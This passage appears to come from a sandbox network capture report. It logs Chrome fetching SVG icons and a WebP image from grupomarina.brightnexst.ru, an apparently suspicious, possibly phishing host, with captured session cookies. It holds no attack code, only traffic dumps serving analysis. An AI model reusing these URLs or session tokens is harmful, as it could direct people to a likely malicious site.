Ascii: 16.8176L9.14931 9.17715C4.05605 10.758 0.5 15.4508 0.5 20.9412H8.5ZM8.50049 20.9845C8.50026 20.9606 8.50007 20.9368 8.4999 20.9131L0.500099 20.9694C0.500309 20.9993 0.500555 21.0292 0.500835 21.0592L8.50049 20.9845ZM8.5 21.1287C8.5 21.1095 8.50012 21.090
2025-03-17 20:55:16 UTC	1369	IN	Data Raw: 20 32 30 2e 34 35 31 36 20 33 34 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 34 2e 38 39 38 31 56 32 36 2e 38 39 38 31 5a 4d 33 39 2e 34 31 30 32 20 33 36 2e 34 34 38 35 43 33 36 2e 36 33 38 20 33 30 2e 38 30 30 32 20 33 30 2e 38 32 33 20 32 36 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 32 36 2e 38 39 38 31 56 33 34 2e 38 39 38 31 43 32 37 2e 36 35 36 20 33 34 2e 38 39 38 31 20 33 30 2e 37 34 39 32 20 33 36 2e 39 35 39 31 20 33 32 2e 32 32 38 36 20 33 39 2e 39 37 33 34 4c 33 39 2e 34 31 30 32 20 33 36 2e 34 34 38 35 5a 4d 33 30 2e 32 36 32 35 20 34 38 2e 33 30 35 37 43 33 33 2e 39 32 31 36 20 34 36 2e 30 36 36 33 20 33 36 2e 37 37 32 35 20 34 33 2e 34 36 38 33 20 33 38 2e 39 36 32 39 20 34 30 2e 36 38 34 35 4c 33 32 2e 36 37 35 39 20 33 35 2e 37 33 37 34 Data Ascii: 20.4516 34.8981 24.0891 34.8981V26.8981ZM39.4102 36.4485C36.638 30.8002 30.823 26.8981 24.0891 26.8981V34.8981C27.656 34.8981 30.7492 36.9591 32.2286 39.9734L39.4102 36.4485ZM30.2625 48.3057C33.9216 46.0663 36.7725 43.4683 38.9629 40.6845L32.6759 35.7374
2025-03-17 20:55:16 UTC	553	IN	Data Raw: 34 2e 36 31 38 38 20 32 38 2e 31 37 34 37 20 33 34 2e 36 31 38 38 20 32 32 2e 33 35 39 33 48 32 36 2e 36 31 38 38 43 32 36 2e 36 31 38 38 20 32 33 2e 37 35 36 34 20 32 35 2e 34 38 36 32 20 32 34 2e 38 38 39 20 32 34 2e 30 38 39 31 20 32 34 2e 38 38 39 56 33 32 2e 38 38 39 5a 4d 31 33 2e 35 35 39 34 20 32 32 2e 33 35 39 33 43 31 33 2e 35 35 39 34 20 32 38 2e 31 37 34 37 20 31 38 2e 32 37 33 37 20 33 32 2e 38 38 39 20 32 34 2e 30 38 39 31 20 33 32 2e 38 38 39 56 32 34 2e 38 38 39 43 32 32 2e 36 39 32 20 32 34 2e 38 38 39 20 32 31 2e 35 35 39 34 20 32 33 2e 37 35 36 34 20 32 31 2e 35 35 39 34 20 32 32 2e 33 35 39 33 48 31 33 2e 35 35 39 34 5a 4d 32 34 2e 30 38 39 31 20 31 31 2e 38 32 39 36 43 31 38 2e 32 37 33 37 20 31 31 2e 38 32 39 36 20 31 33 2e 35 35 39 Data Ascii: 4.6188 28.1747 34.6188 22.3593H26.6188C26.6188 23.7564 25.4862 24.889 24.0891 24.889V32.889ZM13.5594 22.3593C13.5594 28.1747 18.2737 32.889 24.0891 32.889V24.889C22.692 24.889 21.5594 23.7564 21.5594 22.3593H13.5594ZM24.0891 11.8296C18.2737 11.8296 13.559
2025-03-17 20:55:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49759	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1456	OUT	GET /yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:16 UTC	1100	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:16 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=993Yt5Ayd25seXxadZuT4mIOKcWErP0MAsBDjQc8qujChwU5UK28hvEcuhCjTHDd9qx1LDpH57umbd9jnybqDYAVlEt64lYp9CXwfZjy%2FvTJ88dF7Rf0d79ppzKw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1248&min_rtt=1195&rtt_var=486&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2368&delivery_rate=2423430&cwnd=251&unsent_bytes=0&cid=7b676ff3c9cb017a&ts=83&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63e6de8543af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1692&min_rtt=1687&rtt_var=643&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2028&delivery_rate=1687861&cwnd=148&unsent_bytes=0&cid=e21bd635c0316cfa&ts=373&x=0"
2025-03-17 20:55:16 UTC	269	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2025-03-17 20:55:16 UTC	1369	IN	Data Raw: 2e 39 33 32 61 39 2e 39 37 34 2c 39 2e 39 37 34 2c 30 2c 30 2c 31 2c 2e 38 31 39 2c 31 41 34 2e 39 35 31 2c 34 2e 39 35 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 34 2e 37 33 36 61 33 2e 31 33 33 2c 33 2e 31 33 33 2c 30 2c 30 2c 31 2c 2e 32 31 38 2c 31 2e 31 35 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2d 2e 32 36 31 2c 31 2e 33 32 34 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2d 2e 37 34 39 2c 31 2e 31 33 32 71 2d 2e 38 38 38 2e 38 38 38 2d 31 2e 36 2c 31 2e 35 36 38 61 38 2e 37 35 33 2c 38 2e 37 35 33 2c 30 2c 30 2c 31 2d 31 2e 34 38 39 2c 31 2e 31 35 2c 36 2e 31 37 2c 36 2e 31 37 2c 30 2c 30 2c 31 2d 31 2e 37 31 36 2e 37 30 35 41 39 2e 33 36 37 2c 39 2e 33 36 37 2c 30 2c 30 2c 31 2c 32 39 2e 31 35 31 2c 34 32 61 31 33 2e 37 33 2c 31 33 Data Ascii: .932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13
2025-03-17 20:55:16 UTC	1274	IN	Data Raw: 2e 31 35 33 2c 30 2c 30 2c 30 2c 31 2e 31 32 34 2d 2e 39 34 31 71 2e 35 34 39 2d 2e 35 35 37 2c 31 2e 32 36 33 2d 31 2e 32 37 32 61 31 2e 31 38 39 2c 31 2e 31 38 39 2c 30 2c 30 2c 30 2c 2e 33 36 36 2d 2e 38 37 31 2c 31 2e 33 38 32 2c 31 2e 33 38 32 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 35 33 41 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 30 2c 33 34 2c 33 34 2e 33 30 39 61 31 34 2e 30 36 2c 31 34 2e 30 36 2c 30 2c 30 2c 30 2d 2e 39 35 38 2d 31 2e 30 33 36 71 2d 2e 35 33 31 2d 2e 35 32 33 2d 31 2e 30 33 36 2d 2e 39 35 38 61 38 2e 39 35 2c 38 2e 39 35 2c 30 2c 30 2c 30 2d 2e 39 33 32 2d 2e 37 31 34 2c 31 2e 33 38 32 2c 31 2e 33 38 32 2c 30 2c 30 2c 30 2d 2e 36 35 33 2d 2e 32 37 39 2c 31 2e 32 31 34 2c 31 2e 32 31 34 2c 30 2c 30 2c 30 2d 2e 37 2e 32 32 36 Data Ascii: .153,0,0,0,1.124-.941q.549-.557,1.263-1.272a1.189,1.189,0,0,0,.366-.871,1.382,1.382,0,0,0-.279-.653A10.4,10.4,0,0,0,34,34.309a14.06,14.06,0,0,0-.958-1.036q-.531-.523-1.036-.958a8.95,8.95,0,0,0-.932-.714,1.382,1.382,0,0,0-.653-.279,1.214,1.214,0,0,0-.7.226
2025-03-17 20:55:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49760	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1170	OUT	GET /yrhv76inSJaBVfGxBEwSxmLj7A0nIUCRosZ3LM0ORxbvHL4JE2FQRwo1v HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:16 UTC	1018	IN	HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2025 20:55:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ThFIpE0Tr%2BKwwkfKT5mmL9SCjiU98BQrTdJPeYfB7%2BQCzpzU1M6slVJnThgdSALxeocpQKgd5sBZFt5YaFmSRBOS2tMHsAKAO555WRLcjj7eSGq1Ztg1wEvP35Jw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1244&min_rtt=1236&rtt_var=480&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2080&delivery_rate=2219157&cwnd=251&unsent_bytes=0&cid=b941efcfaaabf3a8&ts=73&x=0" Server: cloudflare CF-RAY: 921f63e72c580c9e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1681&rtt_var=639&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1742&delivery_rate=1700640&cwnd=81&unsent_bytes=0&cid=8f953bdf33a91e01&ts=584&x=0"
2025-03-17 20:55:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49761	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1445	OUT	GET /rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:17 UTC	1095	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:17 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xwVLSyScEzu%2Fg5nbpLb8GhEAJMrDYBa4WNUUB5wLj53zTe9Nse%2FMDTcNi3aLMeuuOk9MyF7CSKibj6a0xQ21yxPcPj2RODWGbQ5PPA0KA%2BtuEKcq%2BCmNAuML26Fp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1275&min_rtt=1263&rtt_var=379&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2355&delivery_rate=2151560&cwnd=251&unsent_bytes=0&cid=ea91a6361a0aeac1&ts=75&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63ea9df149c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2554&min_rtt=2441&rtt_var=996&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2017&delivery_rate=1196231&cwnd=233&unsent_bytes=0&cid=a0130d50a83b73b1&ts=380&x=0"
2025-03-17 20:55:17 UTC	274	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2025-03-17 20:55:17 UTC	6	IN	Data Raw: 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49762	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1170	OUT	GET /opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:17 UTC	1074	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:17 GMT Content-Type: image/webp Content-Length: 892 Connection: close Content-Disposition: inline; filename="opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=21mx9gE5WMFvafxADnp%2FpdBuLRYgpkai5d6T4%2FnRD1toXo%2BJjRJQTXCUsR56MoYQ9%2BSwD3cmNyq70bA1BzWF7D9HfZapW9a1aNAVXFiyUj2y8Qp%2FMoPjjyP6SpZ%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=2361&min_rtt=2152&rtt_var=968&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2081&delivery_rate=949819&cwnd=244&unsent_bytes=0&cid=ec3d89a719be178d&ts=80&x=0" Server: cloudflare CF-RAY: 921f63ea99bab432-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2440&min_rtt=2434&rtt_var=925&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1742&delivery_rate=1175050&cwnd=111&unsent_bytes=0&cid=51cec7be664b7eb4&ts=456&x=0"
2025-03-17 20:55:17 UTC	295	IN	Data Raw: 52 49 46 46 74 03 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 2f 00 00 2f 00 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFFtWEBPVP8X0//ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:17 UTC	597	IN	Data Raw: 6e 55 53 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 3d 01 00 00 0d 80 96 6d 5b dd e6 9d 83 48 c0 41 bf 29 18 55 10 a2 80 d6 41 a3 a0 43 01 75 40 ab 20 89 82 11 07 4c c1 90 80 83 9e 0b 1f 3b ff 8b 08 05 92 24 Data Ascii: nUSsRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPH=m[HA)UACu@ L;$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49764	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1168	OUT	GET /uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; 